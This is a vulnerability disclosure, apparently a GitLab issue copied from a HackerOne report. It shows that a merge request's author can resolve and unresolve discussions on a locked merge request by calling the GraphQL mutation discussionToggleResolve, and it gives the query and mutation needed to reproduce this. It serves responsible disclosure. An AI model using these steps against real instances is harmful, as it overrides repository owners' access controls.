GraphQL mutations allow Merge Request creator to bypass locked status

HackerOne report #1063420 by jimeno on 2020-12-21, assigned to @dcouture:

Report | Attachments | How To Reproduce

Report

Summary

Hi GitLab,

I'd like to report an Improper Access Control issue where attacker is able to perform state changing actions such as (un-)resolving discussion threads in Merge Requests after the repository owner locks the MR. The mutation used in this example is discussionToggleResolve.

Scenario setup

1. Victim: create a public repository and add a dummy file to it

2. Attacker: fork the project and add a change to it

3. Attacker: submit a Merge Request

4. Any: add a comment so a discussion thread is generated

5. Victim: lock the Merge Request (notice the attacker isn't able to (un-)resolve the existing discussions anymore)

   

Steps to reproduce

1. Attacker: notice you aren't able to post new comments or resolve the discussion thread via the user interface

   

2. Attacker: run the following GraphQL query to find the ID of the discussion thread. Please, replace the repo and owner where needed

   {  
     project(fullPath: "naaytesting/bugbountydemo") {  
       mergeRequests {  
         edges {  
           node {  
             id  
             title  
             discussions {  
               edges {  
                 node {  
                   id  
                   resolvable  
                   notes {  
                     edges {  
                       node {  
                         body  
                       }  
                     }  
                   }  
                 }  
               }  
             }  
           }  
         }  
       }  
     }  
   }      

3. Attacker: note the discussion ID. In my case it is gid://gitlab/DiffDiscussion/da18f8200f0934b43fd1d1f62d5ea1a8dec2e1a8. Notice its resolvable attribute is set to true while the UI shows the MR is completely locked and doesn't allow to (un-)resolve it.

4. Run the following GraphQL query replacing the ID with yours.

   mutation test {  
     discussionToggleResolve(input: {id: "gid://gitlab/DiffDiscussion/da18f8200f0934b43fd1d1f62d5ea1a8dec2e1a8", resolve: true}) {  
       errors  
     }  
   }  

5. Victim: refresh the MR and notice the attacker was able to perform activities against it and the discussion is resolved now.

   

Impact

Attacker is able to do state-changing actions against a locked MR. In this particular case, (un-)resolve discussion threads.

Examples

GitLab.com users can perform state-changing actions in their Merge Requests after the repository owners have locked them.

What is the current bug behavior?

Attacker is able to do state-changing actions against a locked MR. In this particular case, (un-)resolve discussion threads.

What is the expected correct behavior?

Attacker isn't able to do state-changing actions after the repo owner locks their MR.

Relevant logs and/or screenshots

Please, refer to each section.

Output of checks

This bug happens on GitLab.com

Results of GitLab environment info

N/A

Impact

Attacker is able to do state-changing actions against a locked MR. In this particular case, (un-)resolve discussion threads.

If this is the expected behavior, please let me know and I'll be happy to self-close this report as N/A.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

• attacker_opens_locked_mr.png
• attacker_activity_in_pr_after_locking.png
• setup_final_status.png

How To Reproduce

Please add reproducibility information to this section: